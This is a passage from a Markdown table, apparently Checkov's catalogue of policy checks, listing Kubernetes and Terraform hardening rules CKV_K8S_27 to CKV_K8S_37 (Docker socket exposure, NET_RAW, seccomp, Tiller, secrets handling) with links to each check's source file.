[DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 6957 | CKV_K8S_27               | resource                         | kubernetes_deployment_v1                                                                         | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform               | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 6958 | CKV_K8S_27               | resource                         | kubernetes_pod                                                                                   | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform               | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 6959 | CKV_K8S_27               | resource                         | kubernetes_pod_v1                                                                                | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform               | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 6960 | CKV_K8S_28               | resource                         | CronJob                                                                                          | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6961 | CKV_K8S_28               | resource                         | DaemonSet                                                                                        | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6962 | CKV_K8S_28               | resource                         | Deployment                                                                                       | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6963 | CKV_K8S_28               | resource                         | DeploymentConfig                                                                                 | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6964 | CKV_K8S_28               | resource                         | Job                                                                                              | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6965 | CKV_K8S_28               | resource                         | Pod                                                                                              | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6966 | CKV_K8S_28               | resource                         | PodTemplate                                                                                      | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6967 | CKV_K8S_28               | resource                         | ReplicaSet                                                                                       | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6968 | CKV_K8S_28               | resource                         | ReplicationController                                                                            | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6969 | CKV_K8S_28               | resource                         | StatefulSet                                                                                      | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Kubernetes              | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                                              |\n| 6970 | CKV_K8S_28               | resource                         | kubernetes_deployment                                                                            | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform               | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 6971 | CKV_K8S_28               | resource                         | kubernetes_deployment_v1                                                                         | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform               | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 6972 | CKV_K8S_28               | resource                         | kubernetes_pod                                                                                   | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform               | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 6973 | CKV_K8S_28               | resource                         | kubernetes_pod_v1                                                                                | Minimize the admission of containers with the NET_RAW capability                                                                                                                                         | Terraform               | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py)                                                                                        |\n| 6974 | CKV_K8S_29               | resource                         | CronJob                                                                                          | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6975 | CKV_K8S_29               | resource                         | DaemonSet                                                                                        | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6976 | CKV_K8S_29               | resource                         | Deployment                                                                                       | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6977 | CKV_K8S_29               | resource                         | Job                                                                                              | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6978 | CKV_K8S_29               | resource                         | Pod                                                                                              | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6979 | CKV_K8S_29               | resource                         | ReplicaSet                                                                                       | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6980 | CKV_K8S_29               | resource                         | ReplicationController                                                                            | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6981 | CKV_K8S_29               | resource                         | StatefulSet                                                                                      | Apply security context to your pods and containers                                                                                                                                                       | Kubernetes              | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                                                          |\n| 6982 | CKV_K8S_29               | resource                         | kubernetes_daemon_set_v1                                                                         | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform               | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 6983 | CKV_K8S_29               | resource                         | kubernetes_daemonset                                                                             | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform               | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 6984 | CKV_K8S_29               | resource                         | kubernetes_deployment                                                                            | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform               | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 6985 | CKV_K8S_29               | resource                         | kubernetes_deployment_v1                                                                         | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform               | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 6986 | CKV_K8S_29               | resource                         | kubernetes_pod                                                                                   | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform               | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 6987 | CKV_K8S_29               | resource                         | kubernetes_pod_v1                                                                                | Apply security context to your pods, deployments and daemon_sets                                                                                                                                         | Terraform               | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py)                                                                                    |\n| 6988 | CKV_K8S_30               | resource                         | CronJob                                                                                          | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6989 | CKV_K8S_30               | resource                         | DaemonSet                                                                                        | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6990 | CKV_K8S_30               | resource                         | Deployment                                                                                       | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6991 | CKV_K8S_30               | resource                         | DeploymentConfig                                                                                 | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6992 | CKV_K8S_30               | resource                         | Job                                                                                              | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6993 | CKV_K8S_30               | resource                         | Pod                                                                                              | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6994 | CKV_K8S_30               | resource                         | PodTemplate                                                                                      | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6995 | CKV_K8S_30               | resource                         | ReplicaSet                                                                                       | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6996 | CKV_K8S_30               | resource                         | ReplicationController                                                                            | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6997 | CKV_K8S_30               | resource                         | StatefulSet                                                                                      | Apply security context to your containers                                                                                                                                                                | Kubernetes              | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                                              |\n| 6998 | CKV_K8S_30               | resource                         | kubernetes_deployment                                                                            | Apply security context to your pods and containers                                                                                                                                                       | Terraform               | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 6999 | CKV_K8S_30               | resource                         | kubernetes_deployment_v1                                                                         | Apply security context to your pods and containers                                                                                                                                                       | Terraform               | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 7000 | CKV_K8S_30               | resource                         | kubernetes_pod                                                                                   | Apply security context to your pods and containers                                                                                                                                                       | Terraform               | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 7001 | CKV_K8S_30               | resource                         | kubernetes_pod_v1                                                                                | Apply security context to your pods and containers                                                                                                                                                       | Terraform               | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py)                                                                        |\n| 7002 | CKV_K8S_31               | resource                         | CronJob                                                                                          | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7003 | CKV_K8S_31               | resource                         | DaemonSet                                                                                        | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7004 | CKV_K8S_31               | resource                         | Deployment                                                                                       | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7005 | CKV_K8S_31               | resource                         | Job                                                                                              | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7006 | CKV_K8S_31               | resource                         | Pod                                                                                              | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7007 | CKV_K8S_31               | resource                         | ReplicaSet                                                                                       | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7008 | CKV_K8S_31               | resource                         | ReplicationController                                                                            | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7009 | CKV_K8S_31               | resource                         | StatefulSet                                                                                      | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                              | Kubernetes              | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                                                |\n| 7010 | CKV_K8S_32               | resource                         | PodSecurityPolicy                                                                                | Ensure default seccomp profile set to docker/default or runtime/default                                                                                                                                  | Kubernetes              | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SeccompPSP.py)                                                                                                          |\n| 7011 | CKV_K8S_32               | resource                         | kubernetes_pod_security_policy                                                                   | Ensure default seccomp profile set to docker/default or runtime/default                                                                                                                                  | Terraform               | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SeccompPSP.py)                                                                                                    |\n| 7012 | CKV_K8S_33               | resource                         | CronJob                                                                                          | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7013 | CKV_K8S_33               | resource                         | DaemonSet                                                                                        | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7014 | CKV_K8S_33               | resource                         | Deployment                                                                                       | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7015 | CKV_K8S_33               | resource                         | DeploymentConfig                                                                                 | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7016 | CKV_K8S_33               | resource                         | Job                                                                                              | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7017 | CKV_K8S_33               | resource                         | Pod                                                                                              | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7018 | CKV_K8S_33               | resource                         | PodTemplate                                                                                      | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7019 | CKV_K8S_33               | resource                         | ReplicaSet                                                                                       | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7020 | CKV_K8S_33               | resource                         | ReplicationController                                                                            | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7021 | CKV_K8S_33               | resource                         | StatefulSet                                                                                      | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                          | Kubernetes              | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                                                        |\n| 7022 | CKV_K8S_34               | resource                         | CronJob                                                                                          | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7023 | CKV_K8S_34               | resource                         | DaemonSet                                                                                        | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7024 | CKV_K8S_34               | resource                         | Deployment                                                                                       | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7025 | CKV_K8S_34               | resource                         | DeploymentConfig                                                                                 | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7026 | CKV_K8S_34               | resource                         | Job                                                                                              | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7027 | CKV_K8S_34               | resource                         | Pod                                                                                              | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7028 | CKV_K8S_34               | resource                         | PodTemplate                                                                                      | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7029 | CKV_K8S_34               | resource                         | ReplicaSet                                                                                       | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7030 | CKV_K8S_34               | resource                         | ReplicationController                                                                            | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7031 | CKV_K8S_34               | resource                         | StatefulSet                                                                                      | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Kubernetes              | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                                                  |\n| 7032 | CKV_K8S_34               | resource                         | kubernetes_deployment                                                                            | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform               | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 7033 | CKV_K8S_34               | resource                         | kubernetes_deployment_v1                                                                         | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform               | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 7034 | CKV_K8S_34               | resource                         | kubernetes_pod                                                                                   | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform               | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 7035 | CKV_K8S_34               | resource                         | kubernetes_pod_v1                                                                                | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                             | Terraform               | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py)                                                                                                            |\n| 7036 | CKV_K8S_35               | resource                         | CronJob                                                                                          | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7037 | CKV_K8S_35               | resource                         | DaemonSet                                                                                        | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7038 | CKV_K8S_35               | resource                         | Deployment                                                                                       | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7039 | CKV_K8S_35               | resource                         | DeploymentConfig                                                                                 | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7040 | CKV_K8S_35               | resource                         | Job                                                                                              | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7041 | CKV_K8S_35               | resource                         | Pod                                                                                              | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7042 | CKV_K8S_35               | resource                         | PodTemplate                                                                                      | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7043 | CKV_K8S_35               | resource                         | ReplicaSet                                                                                       | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7044 | CKV_K8S_35               | resource                         | ReplicationController                                                                            | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7045 | CKV_K8S_35               | resource                         | StatefulSet                                                                                      | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Kubernetes              | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                                                |\n| 7046 | CKV_K8S_35               | resource                         | kubernetes_deployment                                                                            | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform               | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 7047 | CKV_K8S_35               | resource                         | kubernetes_deployment_v1                                                                         | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform               | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 7048 | CKV_K8S_35               | resource                         | kubernetes_pod                                                                                   | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform               | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 7049 | CKV_K8S_35               | resource                         | kubernetes_pod_v1                                                                                | Prefer using secrets as files over secrets as environment variables                                                                                                                                      | Terraform               | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py)                                                                                                          |\n| 7050 | CKV_K8S_36               | resource                         | PodSecurityPolicy                                                                                | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilitiesPSP.py)                                                                                |\n| 7051 | CKV_K8S_36               | resource                         | kubernetes_pod_security_policy                                                                   | Minimise the admission of containers with capabilities assigned                                                                                                                                          | Terraform               | [MinimiseCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilitiesPSP.py)                                                                          |\n| 7052 | CKV_K8S_37               | resource                         | CronJob                                                                                          | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7053 | CKV_K8S_37               | resource                         | DaemonSet                                                                                        | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7054 | CKV_K8S_37               | resource                         | Deployment                                                                                       | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7055 | CKV_K8S_37               | resource                         | DeploymentConfig                                                                                 | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7056 | CKV_K8S_37               | resource                         | Job                                                                                              | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7057 | CKV_K8S_37               | resource                         | Pod                                                                                              | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7058 | CKV_K8S_37               | resource                         | PodTemplate                                                                                      | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                                                      |\n| 7059 | CKV_K8S_37               | resource                         | ReplicaSet                                                                                       | Minimize the admission of containers with capabilities assigned                                                                                                                                          | Kubernetes              | 